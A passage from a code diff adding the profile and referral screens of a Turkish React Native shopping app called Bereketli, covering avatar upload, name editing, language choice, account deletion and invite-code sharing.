formData.append('photo', {uri: asset.uri, type: asset.type || 'image/jpeg', name: asset.fileName || 'avatar.jpg'} as any);
|
||||||
|
const {data} = await client.post<{url: string}>('/upload/avatar', formData, {
|
||||||
|
headers: {'Content-Type': 'multipart/form-data'},
|
||||||
|
});
|
||||||
|
// Update profile with new avatar URL
|
||||||
|
await updateProfile(undefined, data.url);
|
||||||
|
setAvatarUri(data.url);
|
||||||
|
if (updateUser) updateUser({avatar_url: data.url});
|
||||||
|
} catch {
|
||||||
|
// Avatar upload endpoint may not exist yet — save locally for display
|
||||||
|
setAvatarUri(asset.uri || '');
|
||||||
|
} finally {
|
||||||
|
setSaving(false);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleSaveName = async () => {
|
||||||
|
if (!nameInput.trim()) {
|
||||||
|
Alert.alert(t('common.error'), t('profile.nameRequired'));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
setSaving(true);
|
||||||
|
try {
|
||||||
|
await updateProfile(nameInput.trim());
|
||||||
|
if (updateUser) updateUser({name: nameInput.trim()});
|
||||||
|
setEditingName(false);
|
||||||
|
} catch (err: unknown) {
|
||||||
|
const message =
|
||||||
|
(err as {response?: {data?: {message?: string}}})?.response?.data?.message ||
|
||||||
|
t('profile.nameUpdateFailed');
|
||||||
|
Alert.alert(t('common.error'), message);
|
||||||
|
} finally {
|
||||||
|
setSaving(false);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleLogout = () => {
|
||||||
|
Alert.alert(
|
||||||
|
t('profile.logout'),
|
||||||
|
t('profile.logoutConfirm'),
|
||||||
|
[
|
||||||
|
{text: t('profile.logoutCancel'), style: 'cancel'},
|
||||||
|
{text: t('profile.logout'), style: 'destructive', onPress: logout},
|
||||||
|
],
|
||||||
|
);
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleDeleteAccount = () => {
|
||||||
|
Alert.alert(
|
||||||
|
t('profile.deleteAccount'),
|
||||||
|
t('profile.deleteAccountConfirm'),
|
||||||
|
[
|
||||||
|
{text: t('common.cancel'), style: 'cancel'},
|
||||||
|
{
|
||||||
|
text: t('profile.deleteAccountButton'),
|
||||||
|
style: 'destructive',
|
||||||
|
onPress: async () => {
|
||||||
|
try {
|
||||||
|
await deleteAccount();
|
||||||
|
await logout();
|
||||||
|
} catch {
|
||||||
|
Alert.alert(t('common.error'), t('profile.deleteAccountFailed'));
|
||||||
|
}
|
||||||
|
},
|
||||||
|
},
|
||||||
|
],
|
||||||
|
);
|
||||||
|
};
|
||||||
|
|
||||||
|
const navigateTo = (screen: string) => {
|
||||||
|
navigation.navigate(screen);
|
||||||
|
};
|
||||||
|
|
||||||
|
return (
|
||||||
|
<View style={styles.container}>
|
||||||
|
<ScrollView showsVerticalScrollIndicator={false}>
|
||||||
|
{/* ── Header ── */}
|
||||||
|
<View style={[styles.header, {paddingTop: insets.top + 16}]}>
|
||||||
|
<Text style={styles.headerTitle}>{t('profile.title')}</Text>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* ── User Card ── */}
|
||||||
|
<View style={styles.userCard}>
|
||||||
|
<TouchableOpacity onPress={handlePickAvatar} activeOpacity={0.7}>
|
||||||
|
{avatarUri ? (
|
||||||
|
<Image source={{uri: avatarUri}} style={styles.avatarImage} />
|
||||||
|
) : (
|
||||||
|
<View style={styles.avatar}>
|
||||||
|
<Text style={styles.avatarText}>
|
||||||
|
{user?.name?.charAt(0)?.toUpperCase() || '?'}
|
||||||
|
</Text>
|
||||||
|
</View>
|
||||||
|
)}
|
||||||
|
<View style={styles.cameraIcon}>
|
||||||
|
<Text style={{fontSize: 12}}>📷</Text>
|
||||||
|
</View>
|
||||||
|
</TouchableOpacity>
|
||||||
|
<TouchableOpacity style={styles.userInfo} onPress={() => { setNameInput(user?.name || ''); setEditingName(true); }} activeOpacity={0.7}>
|
||||||
|
<Text style={styles.userName}>{user?.name || t('profile.defaultUser')}</Text>
|
||||||
|
<Text style={styles.userEmail}>{user?.email || ''}</Text>
|
||||||
|
<Text style={styles.editHint}>{t('profile.editHint')}</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* Name edit modal */}
|
||||||
|
<Modal visible={editingName} transparent animationType="fade">
|
||||||
|
<View style={styles.modalOverlay}>
|
||||||
|
<View style={styles.modalContent}>
|
||||||
|
<Text style={styles.modalTitle}>{t('profile.editNameTitle')}</Text>
|
||||||
|
<TextInput
|
||||||
|
style={styles.modalInput}
|
||||||
|
value={nameInput}
|
||||||
|
onChangeText={setNameInput}
|
||||||
|
placeholder={t('profile.namePlaceholder')}
|
||||||
|
placeholderTextColor="#9CA3AF"
|
||||||
|
autoFocus
|
||||||
|
maxLength={100}
|
||||||
|
/>
|
||||||
|
<View style={styles.modalButtons}>
|
||||||
|
<TouchableOpacity style={styles.modalCancel} onPress={() => setEditingName(false)}>
|
||||||
|
<Text style={styles.modalCancelText}>{t('common.cancel')}</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
<TouchableOpacity style={[styles.modalSave, saving && {opacity: 0.6}]} onPress={handleSaveName} disabled={saving}>
|
||||||
|
<Text style={styles.modalSaveText}>{saving ? t('common.saving') : t('common.save')}</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
</Modal>
|
||||||
|
|
||||||
|
{/* ── Quick Actions — all connected to real API data ── */}
|
||||||
|
<View style={styles.quickActions}>
|
||||||
|
<QuickActionCard
|
||||||
|
icon="📦"
|
||||||
|
label={t('profile.ordersLabel')}
|
||||||
|
count={orderCount}
|
||||||
|
onPress={() => navigateTo('Orders')}
|
||||||
|
/>
|
||||||
|
<QuickActionCard
|
||||||
|
icon="📅"
|
||||||
|
label={t('profile.appointmentsLabel')}
|
||||||
|
count={appointmentCount}
|
||||||
|
onPress={() => navigateTo('Appointments')}
|
||||||
|
/>
|
||||||
|
<QuickActionCard
|
||||||
|
icon="💳"
|
||||||
|
label={t('profile.loyaltyLabel')}
|
||||||
|
count={cardCount}
|
||||||
|
onPress={() => navigateTo('LoyaltyCards')}
|
||||||
|
/>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* ── Discover ── */}
|
||||||
|
<View style={styles.section}>
|
||||||
|
<Text style={styles.sectionLabel}>{t('profile.discoverLabel')}</Text>
|
||||||
|
<View style={styles.menuCard}>
|
||||||
|
<MenuItem
|
||||||
|
icon="🍞"
|
||||||
|
title={t('profile.surprisePackages')}
|
||||||
|
subtitle={t('profile.surprisePackagesDesc')}
|
||||||
|
onPress={() => navigateTo('YemekMap')}
|
||||||
|
/>
|
||||||
|
<View style={styles.menuDivider} />
|
||||||
|
<MenuItem
|
||||||
|
icon="🏪"
|
||||||
|
title={t('profile.neighborhoodMerchants')}
|
||||||
|
subtitle={t('profile.neighborhoodMerchantsDesc')}
|
||||||
|
onPress={() => navigateTo('EsnafMap')}
|
||||||
|
/>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* ── Security ── */}
|
||||||
|
<View style={styles.section}>
|
||||||
|
<Text style={styles.sectionLabel}>{t('profile.securityLabel')}</Text>
|
||||||
|
<View style={styles.menuCard}>
|
||||||
|
<MenuItem
|
||||||
|
icon="🔒"
|
||||||
|
title={t('profile.changePassword')}
|
||||||
|
onPress={() => navigateTo('ChangePassword')}
|
||||||
|
/>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* ── Language ── */}
|
||||||
|
<View style={styles.section}>
|
||||||
|
<Text style={styles.sectionLabel}>{t('profile.language')}</Text>
|
||||||
|
<View style={styles.menuCard}>
|
||||||
|
<MenuItem
|
||||||
|
icon="🌍"
|
||||||
|
title={t('profile.language')}
|
||||||
|
value={currentLang.label}
|
||||||
|
onPress={() => setLangModalVisible(true)}
|
||||||
|
/>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* Language picker modal */}
|
||||||
|
<Modal visible={langModalVisible} transparent animationType="slide">
|
||||||
|
<View style={styles.modalOverlay}>
|
||||||
|
<View style={styles.modalContent}>
|
||||||
|
<Text style={styles.modalTitle}>{t('profile.selectLanguage')}</Text>
|
||||||
|
<FlatList
|
||||||
|
data={LANGUAGES}
|
||||||
|
keyExtractor={item => item.code}
|
||||||
|
renderItem={({item}) => (
|
||||||
|
<TouchableOpacity
|
||||||
|
style={langStyles.row}
|
||||||
|
activeOpacity={0.6}
|
||||||
|
onPress={() => {
|
||||||
|
changeLanguage(item.code as LanguageCode);
|
||||||
|
setLangModalVisible(false);
|
||||||
|
}}>
|
||||||
|
<Text style={langStyles.label}>{item.label}</Text>
|
||||||
|
{item.code === i18n.language && <Text style={langStyles.check}>✓</Text>}
|
||||||
|
</TouchableOpacity>
|
||||||
|
)}
|
||||||
|
ItemSeparatorComponent={() => <View style={langStyles.separator} />}
|
||||||
|
/>
|
||||||
|
<TouchableOpacity
|
||||||
|
style={[styles.modalCancel, {marginTop: 16}]}
|
||||||
|
onPress={() => setLangModalVisible(false)}>
|
||||||
|
<Text style={styles.modalCancelText}>{t('common.close')}</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
</Modal>
|
||||||
|
|
||||||
|
{/* ── Support ── */}
|
||||||
|
<View style={styles.section}>
|
||||||
|
<Text style={styles.sectionLabel}>{t('profile.supportLabel')}</Text>
|
||||||
|
<View style={styles.menuCard}>
|
||||||
|
<MenuItem
|
||||||
|
icon="❓"
|
||||||
|
title={t('profile.faq')}
|
||||||
|
subtitle={t('profile.faqDesc')}
|
||||||
|
onPress={() => navigateTo('Faq')}
|
||||||
|
/>
|
||||||
|
<View style={styles.menuDivider} />
|
||||||
|
<MenuItem
|
||||||
|
icon="📧"
|
||||||
|
title={t('profile.contactLabel')}
|
||||||
|
subtitle={t('profile.contactEmail')}
|
||||||
|
onPress={() => Linking.openURL(`mailto:${t('profile.contactEmail')}`)}
|
||||||
|
/>
|
||||||
|
<View style={styles.menuDivider} />
|
||||||
|
<MenuItem
|
||||||
|
icon="🌐"
|
||||||
|
title={t('profile.website')}
|
||||||
|
subtitle={t('profile.websiteUrl')}
|
||||||
|
onPress={() => Linking.openURL(`https://${t('profile.websiteUrl')}`)}
|
||||||
|
/>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* ── App ── */}
|
||||||
|
<View style={styles.section}>
|
||||||
|
<View style={styles.menuCard}>
|
||||||
|
<MenuItem
|
||||||
|
icon="ℹ️"
|
||||||
|
title={t('profile.version')}
|
||||||
|
value="1.0.0"
|
||||||
|
showArrow={false}
|
||||||
|
/>
|
||||||
|
<View style={styles.menuDivider} />
|
||||||
|
<MenuItem
|
||||||
|
icon="🚪"
|
||||||
|
title={t('profile.logout')}
|
||||||
|
onPress={handleLogout}
|
||||||
|
showArrow={false}
|
||||||
|
destructive
|
||||||
|
/>
|
||||||
|
<View style={styles.menuDivider} />
|
||||||
|
<MenuItem
|
||||||
|
icon="⚠️"
|
||||||
|
title={t('profile.deleteAccount')}
|
||||||
|
subtitle={t('profile.deleteAccountDesc')}
|
||||||
|
onPress={handleDeleteAccount}
|
||||||
|
showArrow={false}
|
||||||
|
destructive
|
||||||
|
/>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
<View style={{height: 100}} />
|
||||||
|
</ScrollView>
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const styles = StyleSheet.create({
|
||||||
|
container: {flex: 1, backgroundColor: '#F8F8F8'},
|
||||||
|
|
||||||
|
header: {
|
||||||
|
backgroundColor: '#FFFFFF',
|
||||||
|
paddingHorizontal: 16,
|
||||||
|
paddingBottom: 4,
|
||||||
|
},
|
||||||
|
headerTitle: {
|
||||||
|
fontSize: 22,
|
||||||
|
fontWeight: '700',
|
||||||
|
color: '#1A1A1A',
|
||||||
|
},
|
||||||
|
|
||||||
|
userCard: {
|
||||||
|
backgroundColor: '#FFFFFF',
|
||||||
|
flexDirection: 'row',
|
||||||
|
alignItems: 'center',
|
||||||
|
paddingHorizontal: 16,
|
||||||
|
paddingVertical: 16,
|
||||||
|
gap: 14,
|
||||||
|
},
|
||||||
|
avatar: {
|
||||||
|
width: 56,
|
||||||
|
height: 56,
|
||||||
|
borderRadius: 28,
|
||||||
|
backgroundColor: colors.primary,
|
||||||
|
justifyContent: 'center',
|
||||||
|
alignItems: 'center',
|
||||||
|
},
|
||||||
|
avatarText: {
|
||||||
|
fontSize: 24,
|
||||||
|
fontWeight: '700',
|
||||||
|
color: '#FFFFFF',
|
||||||
|
},
|
||||||
|
avatarImage: {
|
||||||
|
width: 56, height: 56, borderRadius: 28,
|
||||||
|
},
|
||||||
|
cameraIcon: {
|
||||||
|
position: 'absolute', bottom: -2, right: -2,
|
||||||
|
width: 22, height: 22, borderRadius: 11,
|
||||||
|
backgroundColor: '#FFFFFF', borderWidth: 1.5, borderColor: '#E5E7EB',
|
||||||
|
justifyContent: 'center', alignItems: 'center',
|
||||||
|
},
|
||||||
|
userInfo: {flex: 1},
|
||||||
|
userName: {fontSize: 20, fontWeight: '700', color: '#1A1A1A', marginBottom: 2},
|
||||||
|
userEmail: {fontSize: 13, color: '#9CA3AF'},
|
||||||
|
editHint: {fontSize: 11, color: colors.primary, fontWeight: '600', marginTop: 2},
|
||||||
|
modalOverlay: {
|
||||||
|
flex: 1, backgroundColor: 'rgba(0,0,0,0.5)',
|
||||||
|
justifyContent: 'center', paddingHorizontal: 32,
|
||||||
|
},
|
||||||
|
modalContent: {
|
||||||
|
backgroundColor: '#FFFFFF', borderRadius: 16, padding: 24,
|
||||||
|
},
|
||||||
|
modalTitle: {fontSize: 18, fontWeight: '700', color: '#1A1A1A', marginBottom: 16},
|
||||||
|
modalInput: {
|
||||||
|
borderWidth: 1, borderColor: '#E5E7EB', borderRadius: 12,
|
||||||
|
paddingHorizontal: 16, paddingVertical: 14, fontSize: 16, color: '#1A1A1A',
|
||||||
|
},
|
||||||
|
modalButtons: {flexDirection: 'row', gap: 12, marginTop: 20},
|
||||||
|
modalCancel: {
|
||||||
|
flex: 1, paddingVertical: 14, borderRadius: 12,
|
||||||
|
borderWidth: 1, borderColor: '#E5E7EB', alignItems: 'center',
|
||||||
|
},
|
||||||
|
modalCancelText: {fontSize: 15, fontWeight: '600', color: '#6B7280'},
|
||||||
|
modalSave: {
|
||||||
|
flex: 1, paddingVertical: 14, borderRadius: 12,
|
||||||
|
backgroundColor: colors.primary, alignItems: 'center',
|
||||||
|
},
|
||||||
|
modalSaveText: {fontSize: 15, fontWeight: '700', color: '#FFFFFF'},
|
||||||
|
|
||||||
|
quickActions: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
gap: 10,
|
||||||
|
paddingHorizontal: 16,
|
||||||
|
paddingVertical: 16,
|
||||||
|
backgroundColor: '#FFFFFF',
|
||||||
|
},
|
||||||
|
|
||||||
|
section: {marginTop: 16, paddingHorizontal: 16},
|
||||||
|
sectionLabel: {fontSize: 14, fontWeight: '700', color: '#6B7280', marginBottom: 8, marginLeft: 4},
|
||||||
|
menuCard: {backgroundColor: '#FFFFFF', borderRadius: 12, overflow: 'hidden'},
|
||||||
|
menuDivider: {height: 1, backgroundColor: '#F3F4F6', marginLeft: 52},
|
||||||
|
});
|
||||||
|
|
||||||
|
const langStyles = StyleSheet.create({
|
||||||
|
row: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
alignItems: 'center',
|
||||||
|
justifyContent: 'space-between',
|
||||||
|
paddingVertical: 14,
|
||||||
|
paddingHorizontal: 4,
|
||||||
|
},
|
||||||
|
label: {fontSize: 16, fontWeight: '500', color: '#1A1A1A'},
|
||||||
|
check: {fontSize: 18, fontWeight: '700', color: colors.primary},
|
||||||
|
separator: {height: 1, backgroundColor: '#F3F4F6'},
|
||||||
|
});
|
||||||
@@ -0,0 +1,433 @@
|
|||||||
|
import React, {useCallback, useState} from 'react';
|
||||||
|
import {
|
||||||
|
View,
|
||||||
|
Text,
|
||||||
|
ScrollView,
|
||||||
|
StyleSheet,
|
||||||
|
TouchableOpacity,
|
||||||
|
Share,
|
||||||
|
Linking,
|
||||||
|
ActivityIndicator,
|
||||||
|
RefreshControl,
|
||||||
|
Alert,
|
||||||
|
} from 'react-native';
|
||||||
|
import {useFocusEffect} from '@react-navigation/native';
|
||||||
|
import {useSafeAreaInsets} from 'react-native-safe-area-context';
|
||||||
|
import {useTranslation} from 'react-i18next';
|
||||||
|
import {colors, borderRadius} from '../../theme';
|
||||||
|
import {getReferralStats, getReferralHistory} from '../../api/referral';
|
||||||
|
import type {ReferralStats, ReferralHistoryItem} from '../../api/referral';
|
||||||
|
|
||||||
|
export default function ReferralScreen({navigation}: {navigation: {goBack: () => void}}) {
|
||||||
|
const {t} = useTranslation();
|
||||||
|
const [stats, setStats] = useState<ReferralStats | null>(null);
|
||||||
|
const [history, setHistory] = useState<ReferralHistoryItem[]>([]);
|
||||||
|
const [loading, setLoading] = useState(true);
|
||||||
|
const [refreshing, setRefreshing] = useState(false);
|
||||||
|
const insets = useSafeAreaInsets();
|
||||||
|
|
||||||
|
const fetchData = async (isRefresh = false) => {
|
||||||
|
if (isRefresh) {
|
||||||
|
setRefreshing(true);
|
||||||
|
} else {
|
||||||
|
setLoading(true);
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
const [statsData, historyData] = await Promise.all([
|
||||||
|
getReferralStats(),
|
||||||
|
getReferralHistory(),
|
||||||
|
]);
|
||||||
|
setStats(statsData);
|
||||||
|
setHistory(historyData);
|
||||||
|
} catch {
|
||||||
|
// Silently handle — empty state will show
|
||||||
|
} finally {
|
||||||
|
setLoading(false);
|
||||||
|
setRefreshing(false);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
useFocusEffect(
|
||||||
|
useCallback(() => {
|
||||||
|
fetchData();
|
||||||
|
}, []),
|
||||||
|
);
|
||||||
|
|
||||||
|
const shareText =
|
||||||
|
stats?.code
|
||||||
|
? `Bereketli'ye katil, birlikte kazanalim! Davet kodum: ${stats.code}\nhttps://bereketli.pezkiwi.app/davet/${stats.code}`
|
||||||
|
: '';
|
||||||
|
|
||||||
|
const handleCopy = async () => {
|
||||||
|
if (!stats?.code) return;
|
||||||
|
try {
|
||||||
|
const Clipboard = require('react-native').Clipboard;
|
||||||
|
Clipboard.setString(stats.code);
|
||||||
|
Alert.alert('Kopyalandi', `Davet kodun: ${stats.code}`);
|
||||||
|
} catch {
|
||||||
|
Share.share({message: stats.code});
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleWhatsApp = () => {
|
||||||
|
if (!shareText) return;
|
||||||
|
const url = `whatsapp://send?text=${encodeURIComponent(shareText)}`;
|
||||||
|
Linking.openURL(url).catch(() => {
|
||||||
|
Linking.openURL(
|
||||||
|
`https://wa.me/?text=${encodeURIComponent(shareText)}`,
|
||||||
|
).catch(() => {});
|
||||||
|
});
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleShare = () => {
|
||||||
|
if (!shareText) return;
|
||||||
|
Share.share({message: shareText});
|
||||||
|
};
|
||||||
|
|
||||||
|
if (loading && !stats) {
|
||||||
|
return (
|
||||||
|
<View style={styles.loadingContainer}>
|
||||||
|
<ActivityIndicator size="large" color={colors.primary} />
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const pointsBalance = stats?.stats.points_balance ?? 0;
|
||||||
|
|
||||||
|
return (
|
||||||
|
<View style={styles.container}>
|
||||||
|
{/* Header */}
|
||||||
|
<View style={[styles.header, {paddingTop: insets.top + 12}]}>
|
||||||
|
<TouchableOpacity onPress={() => navigation.goBack()}>
|
||||||
|
<Text style={styles.backIcon}>{'\u2190'}</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
<Text style={styles.headerTitle}>{t('referral.title')}</Text>
|
||||||
|
<View style={{width: 30}} />
|
||||||
|
</View>
|
||||||
|
|
||||||
|
<ScrollView
|
||||||
|
showsVerticalScrollIndicator={false}
|
||||||
|
refreshControl={
|
||||||
|
<RefreshControl
|
||||||
|
refreshing={refreshing}
|
||||||
|
onRefresh={() => fetchData(true)}
|
||||||
|
colors={[colors.primary]}
|
||||||
|
/>
|
||||||
|
}>
|
||||||
|
{/* Points Balance */}
|
||||||
|
<View style={styles.pointsCard}>
|
||||||
|
<Text style={styles.pointsLabel}>{t('referral.totalPoints')}</Text>
|
||||||
|
<Text style={styles.pointsValue}>{pointsBalance}</Text>
|
||||||
|
<Text style={styles.pointsUnit}>{t('referral.pointsUnit')}</Text>
|
||||||
|
{stats && (
|
||||||
|
<View style={styles.statsRow}>
|
||||||
|
<View style={styles.statItem}>
|
||||||
|
<Text style={styles.statNumber}>{stats.stats.total_referrals}</Text>
|
||||||
|
<Text style={styles.statLabel}>Davet</Text>
|
||||||
|
</View>
|
||||||
|
<View style={styles.statDivider} />
|
||||||
|
<View style={styles.statItem}>
|
||||||
|
<Text style={styles.statNumber}>{stats.stats.completed_referrals}</Text>
|
||||||
|
<Text style={styles.statLabel}>Tamamlanan</Text>
|
||||||
|
</View>
|
||||||
|
<View style={styles.statDivider} />
|
||||||
|
<View style={styles.statItem}>
|
||||||
|
<Text style={styles.statNumber}>{stats.stats.total_earned}</Text>
|
||||||
|
<Text style={styles.statLabel}>Kazanilan</Text>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* Referral Code */}
|
||||||
|
<View style={styles.section}>
|
||||||
|
<Text style={styles.sectionTitle}>Davet Kodun</Text>
|
||||||
|
<View style={styles.codeCard}>
|
||||||
|
<View style={styles.codeBox}>
|
||||||
|
<Text style={styles.codeText}>{stats?.code || '---'}</Text>
|
||||||
|
</View>
|
||||||
|
<View style={styles.codeActions}>
|
||||||
|
<TouchableOpacity style={styles.codeBtn} onPress={handleCopy}>
|
||||||
|
<Text style={styles.codeBtnText}>Kopyala</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
<TouchableOpacity
|
||||||
|
style={[styles.codeBtn, styles.whatsappBtn]}
|
||||||
|
onPress={handleWhatsApp}>
|
||||||
|
<Text style={styles.whatsappBtnText}>WhatsApp ile Paylas</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
<TouchableOpacity
|
||||||
|
style={[styles.codeBtn, styles.shareBtn]}
|
||||||
|
onPress={handleShare}>
|
||||||
|
<Text style={styles.shareBtnText}>Paylas</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* How It Works */}
|
||||||
|
<View style={styles.section}>
|
||||||
|
<Text style={styles.sectionTitle}>Nasil Calisir?</Text>
|
||||||
|
<View style={styles.stepsCard}>
|
||||||
|
<View style={styles.stepRow}>
|
||||||
|
<View style={styles.stepIcon}>
|
||||||
|
<Text style={styles.stepEmoji}>{'\uD83D\uDC64'}</Text>
|
||||||
|
</View>
|
||||||
|
<View style={styles.stepText}>
|
||||||
|
<Text style={styles.stepTitle}>Arkadasin kayit olur</Text>
|
||||||
|
<Text style={styles.stepDesc}>
|
||||||
|
{stats?.stats.next_signup_points ?? 50}+ puan kazan
|
||||||
|
</Text>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
<View style={styles.stepDivider} />
|
||||||
|
<View style={styles.stepRow}>
|
||||||
|
<View style={styles.stepIcon}>
|
||||||
|
<Text style={styles.stepEmoji}>{'\uD83D\uDED2'}</Text>
|
||||||
|
</View>
|
||||||
|
<View style={styles.stepText}>
|
||||||
|
<Text style={styles.stepTitle}>Ilk siparisini verir</Text>
|
||||||
|
<Text style={styles.stepDesc}>100 puan kazan</Text>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
<View style={styles.stepDivider} />
|
||||||
|
<View style={styles.stepRow}>
|
||||||
|
<View style={styles.stepIcon}>
|
||||||
|
<Text style={styles.stepEmoji}>{'\uD83D\uDCC8'}</Text>
|
||||||
|
</View>
|
||||||
|
<View style={styles.stepText}>
|
||||||
|
<Text style={styles.stepTitle}>Ne kadar cok davet</Text>
|
||||||
|
<Text style={styles.stepDesc}>O kadar cok puan!</Text>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* Use Points */}
|
||||||
|
<View style={styles.section}>
|
||||||
|
<Text style={styles.sectionTitle}>Puanlarini Kullan</Text>
|
||||||
|
<View style={styles.stepsCard}>
|
||||||
|
<View style={styles.stepRow}>
|
||||||
|
<View style={styles.stepIcon}>
|
||||||
|
<Text style={styles.stepEmoji}>{'\uD83C\uDF81'}</Text>
|
||||||
|
</View>
|
||||||
|
<View style={styles.stepText}>
|
||||||
|
<Text style={styles.stepTitle}>Paketlerde indirim</Text>
|
||||||
|
<Text style={styles.stepDesc}>Magazalarin belirledigi teklifler</Text>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
<View style={styles.stepDivider} />
|
||||||
|
<View style={styles.stepRow}>
|
||||||
|
<View style={styles.stepIcon}>
|
||||||
|
<Text style={styles.stepEmoji}>{'\uD83E\uDE99'}</Text>
|
||||||
|
</View>
|
||||||
|
<View style={styles.stepText}>
|
||||||
|
<Text style={styles.stepTitle}>HEZ Coin'e cevir</Text>
|
||||||
|
<Text style={styles.stepDesc}>Yakinda</Text>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* Referral History */}
|
||||||
|
<View style={styles.section}>
|
||||||
|
<Text style={styles.sectionTitle}>Davet Gecmisi</Text>
|
||||||
|
{history.length === 0 ? (
|
||||||
|
<View style={styles.emptyHistory}>
|
||||||
|
<Text style={styles.emptyEmoji}>{'\uD83D\uDC65'}</Text>
|
||||||
|
<Text style={styles.emptyTitle}>Henuz davetiniz yok</Text>
|
||||||
|
<Text style={styles.emptyText}>
|
||||||
|
Kodunuzu paylasin ve puan kazanmaya baslayin
|
||||||
|
</Text>
|
||||||
|
</View>
|
||||||
|
) : (
|
||||||
|
<View style={styles.historyCard}>
|
||||||
|
{history.map((item, index) => (
|
||||||
|
<View key={`${item.referred_name}-${item.created_at}`}>
|
||||||
|
{index > 0 && <View style={styles.historyDivider} />}
|
||||||
|
<View style={styles.historyRow}>
|
||||||
|
<View style={styles.historyLeft}>
|
||||||
|
<Text style={styles.historyName}>{item.referred_name}</Text>
|
||||||
|
<Text style={styles.historyDate}>
|
||||||
|
{new Date(item.created_at).toLocaleDateString('tr-TR')}
|
||||||
|
</Text>
|
||||||
|
</View>
|
||||||
|
<View style={styles.historyRight}>
|
||||||
|
<Text style={styles.historyStatus}>
|
||||||
|
{item.status === 'first_purchase' ? '\u2705' : '\u23F3'}
|
||||||
|
</Text>
|
||||||
|
<Text style={styles.historyPoints}>+{item.points_earned}</Text>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
))}
|
||||||
|
</View>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
|
||||||
|
<View style={{height: 100}} />
|
||||||
|
</ScrollView>
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const styles = StyleSheet.create({
|
||||||
|
container: {flex: 1, backgroundColor: '#F8F8F8'},
|
||||||
|
loadingContainer: {
|
||||||
|
flex: 1,
|
||||||
|
justifyContent: 'center',
|
||||||
|
alignItems: 'center',
|
||||||
|
backgroundColor: '#F8F8F8',
|
||||||
|
},
|
||||||
|
|
||||||
|
// Header
|
||||||
|
header: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
alignItems: 'center',
|
||||||
|
justifyContent: 'space-between',
|
||||||
|
paddingHorizontal: 16,
|
||||||
|
paddingBottom: 16,
|
||||||
|
backgroundColor: colors.primary,
|
||||||
|
},
|
||||||
|
backIcon: {fontSize: 22, color: '#FFFFFF'},
|
||||||
|
headerTitle: {fontSize: 17, fontWeight: '700', color: '#FFFFFF'},
|
||||||
|
|
||||||
|
// Points
|
||||||
|
pointsCard: {
|
||||||
|
backgroundColor: colors.primary,
|
||||||
|
paddingHorizontal: 16,
|
||||||
|
paddingBottom: 24,
|
||||||
|
alignItems: 'center',
|
||||||
|
},
|
||||||
|
pointsLabel: {
|
||||||
|
fontSize: 14,
|
||||||
|
color: 'rgba(255,255,255,0.7)',
|
||||||
|
fontWeight: '500',
|
||||||
|
},
|
||||||
|
pointsValue: {
|
||||||
|
fontSize: 48,
|
||||||
|
fontWeight: '800',
|
||||||
|
color: '#FFFFFF',
|
||||||
|
marginTop: 4,
|
||||||
|
},
|
||||||
|
pointsUnit: {
|
||||||
|
fontSize: 16,
|
||||||
|
color: 'rgba(255,255,255,0.8)',
|
||||||
|
fontWeight: '600',
|
||||||
|
marginTop: -4,
|
||||||
|
},
|
||||||
|
statsRow: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
marginTop: 20,
|
||||||
|
backgroundColor: 'rgba(255,255,255,0.15)',
|
||||||
|
borderRadius: borderRadius.lg,
|
||||||
|
paddingVertical: 12,
|
||||||
|
paddingHorizontal: 16,
|
||||||
|
},
|
||||||
|
statItem: {flex: 1, alignItems: 'center'},
|
||||||
|
statNumber: {fontSize: 18, fontWeight: '700', color: '#FFFFFF'},
|
||||||
|
statLabel: {fontSize: 11, color: 'rgba(255,255,255,0.7)', marginTop: 2},
|
||||||
|
statDivider: {width: 1, backgroundColor: 'rgba(255,255,255,0.2)'},
|
||||||
|
|
||||||
|
// Sections
|
||||||
|
